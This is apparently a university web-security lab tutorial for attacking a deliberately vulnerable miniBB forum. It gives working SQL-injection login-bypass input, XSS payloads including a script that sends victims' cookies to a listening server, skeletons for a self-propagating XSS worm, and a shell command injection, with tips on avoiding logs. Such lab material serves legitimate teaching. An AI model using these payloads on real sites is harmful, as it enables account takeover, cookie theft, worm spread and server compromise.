Web Attacks Tutorial
Getting started with the forum
In order to access the forum you will be exploiting, you will need to enable port-forwarding to the correct website. In order to do this, bring up a terminal and type (with your username substituted):
ssh -L 9000:netsec-demos:2000 username@netsec.cs.northwestern.edu
From now on, you can use http://localhost:9000 to access http://netsec-demos.cs.northwestern.edu:2000, which is the website where this forum is hosted.
SQL Injection
SQL Injection, where malicious SQL statements are run on a database, can allow a malicious user to attack the server itself. In this case, miniBB has been modified to not sanitize the Username or Password fields, and can be easily manipulated into allowing administrator login.
The following SQL statement is run in order to authenticate a user:
select username, user_password from minibbtable_users where user_password = md5('inputpassword') and username='inputusername' limit 1;
This selects the username and password from the accounts table on the message board where both the username and the password in the database match the username and md5 hash of the password from the user. Limit 1 means that only 1 result at most will be returned, and the rest, if they exist, will be discarded.
Normally, characters such as quotes are stripped out of user input, but in many vulnerable servers, this is not done. So, we can arbitrarily change the above SQL statement to whatever we would like, because this server does not stop us.
Adding anything to the password is useless, because the password is md5 hashed, so that only the hashed password is stored on the database for security reasons. Theoretically, md5 hashing cannot be reversed, so the actual password is not retrievable. What this means for us is that any SQL characters we try to inject into the password will be corrupted.
However, we can alter the username field such that all results for the above statement returns true.
For a normal login, the SQL looks something like:
select username, user_password from minibbtable_users where user_password = md5('johnspassword') and username='johndoe' limit 1;
But, we can set username to ' or '1'='1 so that the result is:
select username, user_password from minibbtable_users where user_password = md5('anyrandompassword') and username='' or '1'='1' limit 1;
The bold characters are what we have injected. Then, the where statement, instead of picking only rows that have both the username and the password matching the input, instead picks any row where the username is blank and the password matches or any row where true. This means that, since limit 1 is there, the first row will be returned.
This happens, on miniBB, to always be the administrator, and so, if we enter the above string for our username and any password, we will be logged as administrator.
What can be done with this attack varies based on the usage of the SQL statement. Some search pages, for example, have vulnerabilities that allow any data in the database to be returned by using the union statement. It all depends on how the results of the query are used. In this case, the first returned result is used for authentication, and so we can get privilege escalation.
Cross-Site Scripting
Introduction
Cross-site scripting (XSS) is a type of vulnerability commonly found in web applications. This vulnerability makes it possible for attackers to inject malicious code (e.g. JavaScript programs) into victim's web browser. Using this malicious code, the attackers can steal the victim's credentials, such as cookies. The access control policies (i.e., the same origin policy) employed by the browser to protect those credentials can be bypassed by exploiting the XSS vulnerability. Vulnerabilities of this kind can potentially lead to large-scale attacks.
To demonstrate what attackers can do by exploiting XSS vulnerabilities, we will use the vulnerable forum you have just gained admin access to. We modified the software to introduce an XSS vulnerability in this message board; this vulnerability allows users to post any arbitrary message to the board, including JavaScript programs. Students need to exploit this vulnerability by posting some malicious messages to the message board; users who view these malicious messages will become victims. The attackers' goal is to post forged messages for the victims.
To help you keep a clean working environment, enter the Admin panel, and add a new forum for your personal use. Then enter this forum, and perform all of your XSS attacks within it.
Task 1: Posting a Malicious Message to Display an Alert Window
The objective of this task is to post a malicious message that contains JavaScript to display an alert window. The JavaScript should be provided along with the user comments in the message. The following JavaScript will display an alert window:
<script>alert("XSS");</script>
If you post this JavaScript along with your comments in the message board, then any user who views this comment will see the alert window.
Task 2: Posting a Malicious Mesage to Display Cookies
The objective of this task is to post a malicious message on the message board containing a JavaScript code, such that whenever a user views this message, the user's cookies will be printed out. For instance, consider the following message that contains a JavaScript code:
<script>alert(document.cookie);</script>
Hello Everybody,
Welcome to this message board.
When a user views this message post, he/she will see a pop-up message box that displays the cookies of the user.
Task 3: Stealing Cookies from the Victim's Machine
In the previous task, the malcious JavaScript code can print out the user's cookies; in this task, the attacker wants the JavaScript code to send the cookies to the himself/herself. To achieve this, the malicious JavaScript code can send send a HTTP request to the attacker, with the cookies appended to the request.
We can do this by having the malicious JavaScript insert a <img> tag with
src set to the URL of the attackers destination. When the JavaScript inserts
the img tag, the browser tries to load the image from the mentioned URL and in
the process ends up sending a HTTP GET request to the attackers website. The
JavaScript given below sends the cookies to the mentioned port 5555 on the
attacker's machine.
Hello Folks,
<script>document.write("<img src=http://netsec.cs.northwestern.edu:5555?c="
+ escape(document.cookie) + ">"); </script>
This script is to test XSS. Thanks.
You will need to set up a TCP Server to print out what is sent to this port. In order to do
this, create a file on netsec called server.rb that contains the following code:
require 'socket'
require 'thread'
server = TCPServer.open(5555)
begin
Thread.start(server.accept) do |client|
response = client.recv(100)
puts response
client.close
end
end while(true)
Please not that you will have to change the port you are using (here 5555)in both the javascript and the server code so that you do not conflict with other students attempting to finish this lab.
You can now type ruby server.rb in order to run this server. Once this server is running,
try out the javascript above. When you refresh the page, it will send the cookie to the IP
address and port number that you specified, and the server will print it out.
Task 4: Writing an XSS Worm
In this task, we will steal cookies from a victim, and then forge an HTTP request using those cookies directly from the victim's browser. In order to accomplish this task, the worm program must do the following:
*Retrieve the cookie from the user using Javascript.
*Forge an HTTP post request to post a message.
There are two common types of HTTP requests, one is HTTP GET request,
and the other is HTTP POST request. These two types of HTTP requests
differ in how they send the contents of the request to the server.
In phpBB, the request for posting a message uses HTTP POST
request. We can use the XMLHttpRequest object to send
HTTP GET and POST requests for web applications.
XMLHttpRequest can only send HTTP requests back to the server,
instead of other computers, because the same-origin policy
is strongly enforced for XMLHttpRequest. This is not
an issue for us, because we do want to use XMLHttpRequest
to send a forged HTTP POST request back to the phpBB server.
To forge a message post, we should first analyze how phpBB works
in terms of posting messages. More specifically, our goal is to
figure out what are sent to the server when a user posts a new
message. Firefox's LiveHTTPHeaders extension can help us; it
can display the contents of any HTTP request message sent
from the browser. From the contents, we can identify all
the the parameters of the message. LiveHTTPHeaders extension can be
downloaded from http://livehttpheaders.mozdev.org/, and it is already
installed on your machines. Go ahead and post a new message, and then open up
LiveHTTPHeaders. Find the HTTP Post request, and look it over. Specifically,
look for the content of the request, which contains the post title and message text.
With this knowledge, it is time to compose Javascript code which will forge an HTTP post request, posting a new message from each user who clicks on your malicious post.
We provide a skeleton of the JavaScript code
that you need to write. You need to fill in the content of the AJAX request.
When you include the final JavaScript code in the message
posted to the phpBB message board, you need to remove all the
comments, extra space, and new-line characters.
<script>
var Ajax=null;
// Construct the header information for the Http request
Ajax=new XMLHttpRequest();
Ajax.open("POST","insertpost",true);
Ajax.setRequestHeader("Host","inserthost");
Ajax.setRequestHeader("Keep-Alive","300");
Ajax.setRequestHeader("Connection","keep-alive");
Ajax.setRequestHeader("Cookie",document.cookie);
Ajax.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
// Construct the content. The format of the content can be learned
// from LiveHttpHeader.
var content="fill in the details";
// Send the HTTP POST request.
Ajax.send(content);
</script>
Task 5: Writing a Self-Propagating XSS Worm
The worm built in the previous task only forges a message on behalf of the victims; it does not propagate itself. Therefore, technically speaking, it is not a worm. To be able to propagate itself, the forged message should also include a worm, so whenever somebody clicks on the forged message, a new forged message that carry the same worm will be created. This way, the worm can be propagated. The more people click on the forged messages, the faster the worm can propagate.
In this task, you need to expand what you did in Task 5, and add a copy of the worm to the body of the forged message. The following guidelines will help you with the task:
The JavaScript program that posts the forged message is already part of the web page. Therefore, the worm code can use DOM APIs to retrieve a copy of itself from the web page. An example of using DOM APIs is given below. This code gets a copy of itself, and display it in an alert window:
<script id=worm> var strCode = document.getElementById("worm"); alert(strCode.innerHTML); </script>All messages transmitted using HTTP over the Internet use URL Encoding, which converts all non-ASCII characters such as space to special code under the URL encoding scheme. In the worm code, the copy of your worm should be encoded using the
escapefunction. An example of using the function is given below.<script> var strSample = "Hello World"; var urlEncSample = escape(strSample); alert(urlEncSample); </script>Under the URL encoding scheme the '+' symbol is used to denote space. In order to avoid confusion and difficulties, you should use the Javascript string
concatfunction in order to concatonate strings within the content of your POST.When attempting to pass the string
</script>, you will notice that your Javascript no longer works as you intended. This is because when your browser sees the tag, it closes out of the must be split up into two parts, such as</andscript>.
Once you have written a self-propagating worm, show it to one of the TAs to receive credit for this portion of the lab.
Shell Attacks
While XSS allows us to steal credentials, and SQL injection allowed us to login as Administrator or perform other database queries, Shell attacks allow actual machine control.
A Shell attack is very simple and yet very dangerous for the victim. In essence, it is injecting commands into scripts that use Linux utilities. Back when Perl CGI scripts were common, they might do things like use cat /etc/passwd or finger to search for users on the system, for example. Or, such as in this case, they may execute echo to write to a log file.
MiniBB has been modified to write all search data to a logfile by executing the following command:
system("echo $user_usr " . $phrase . " >>/tmp/searchlogs");
$user_usr is the username of the querent. $phrase is the search phrase entered. This simply appends a user's name and search phrase to /tmp/searchlogs, effectively creating a log of who performed which search.
However, $phrase is not sanitized. Thus, we can execute arbitrary commands on the system very easily.
While logged in to MiniBB, click Search
In the Search For box, type >/dev/null; id; echo randomdata
This will cause the following to be run on the system:
echo yourusername `>/dev/null; id; echo randomdata` >>/tmp/searchlogs
This results in running id on the system and returning it to you. If /dev/null is not added, you will also see the output of echo yourusername, which isn't a big deal, but is irritating. The semicolons are Linux command separators. Finally, echoing randomdata to the search logs (or simplying having id; so that nothing is written to the searchlogs) is a good idea otherwise the administrator will have a log of all commands run.
You can try this command, and you will see that your id is www-data, the webserver user. Replacing id with other commands can be used to perform any operation on the system, including establishing a remote shell.
Try getting a remote shell as an exercise.